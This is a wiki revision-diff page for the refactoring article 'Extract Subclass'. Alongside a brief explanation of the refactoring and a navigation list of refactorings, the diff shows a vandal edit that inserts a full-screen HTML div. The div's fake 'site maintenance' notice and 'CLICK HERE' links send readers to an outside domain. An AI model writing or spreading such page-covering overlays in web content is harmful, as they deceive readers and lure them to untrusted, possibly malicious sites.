Extract Subclass

From CSSEMediaWiki
(Difference between revisions)
Jump to: navigation, search
(New page: When a class has features that you may only wish to use in some cases, it may need to be split into a class with one or more subclasses. An alternative to this is Extract Class, givin...)
 
Line 3: Line 3:
 
An alternative to this is [[Extract Class]], giving a choice between inheritance and delegation.
 
An alternative to this is [[Extract Class]], giving a choice between inheritance and delegation.
  
== See Also ==
+
>== See Also ==
 
* [[Replace Type Code with Subclasses]]
 
* [[Replace Type Code with Subclasses]]
 
* [[Replace Type Code with State/Strategy]]
 
* [[Replace Type Code with State/Strategy]]
  
 
{{Refactoring}}
 
{{Refactoring}}
 +
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://ehorefit.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://ehorefit.co.cc CLICK HERE]=
 +
----
 +
</div>

Revision as of 06:32, 18 November 2010

When a class has features that you may only wish to use in some cases, it may need to be split into a class with one or more subclasses.

An alternative to this is Extract Class, giving a choice between inheritance and delegation.

>== See Also ==


Refactoring

Composing Methods: Extract Method | Inline Method | Inline Temp | Replace Temp with Query | Introduce Explaining Variable | Split Temporary Variable | Remove assignments to Parameters | Replace Method with Method Object | Substitute Algorithm
Moving Features Between Objects: Move Method | Move Field | Extract Class | Inline Class | Hide Delegate | Remove Middle Man | Introduce Foreign Method | Introduce Local Extension
Organising Data: Self Encapsulate Field | Replace Data Value with Object | Change Value to Reference | Change Reference to Value | Replace Array with Object | Duplicate Observed Data | Change Unidirectional Association to Bidirectional | Change Bidirectional Association to Unidirectional | Replace Magic Number with Symbolic Constant | Encapsulate Field | Encapsulate Collection | Replace Type Code with Class | Replace Type Code with Subclass | Replace Type Code with State/Strategy
Simplifying Conditional Expressions: Decompose Conditional | Consolidate Conditional Expression | Consolidate Duplicate Conditional Fragments | Remove Control Flag | Replace Nested Conditional with Guard Clauses | Replace Conditional with Polymorphism | Introduce Null Object | Introduce Assertion
Making Method Calls Simpler: Rename Method | Add Parameter | Remove Parameter | Separate Query from Modifier | Parameterise Method | Replace Parameter with Explicit Methods | Preserve Whole Object | Replace Parameter with Method | Introduce Parameter Object | Replace Parameter Object | Remove Setting Method | Hide Method | Replace Constructor with Factory Method | Encapsulate Downcast | Replace Error Code with Exception | Replace Exception with test
Dealing with Generalisation: Pull Up Field | Pull Up Method | Pull Up Constructor Body | Push Down Field | Push Down Method | Extract Subclass | Extract Superclass | Extract Interface | Collapse Hierarchy | Form Template Method | Replace Inheritance with Delegation
Big Refactorings: Tease Apart Inheritance | Convert Procedural Design to Objects | Separate Domain from Presentation | Extract Hierarchy


Personal tools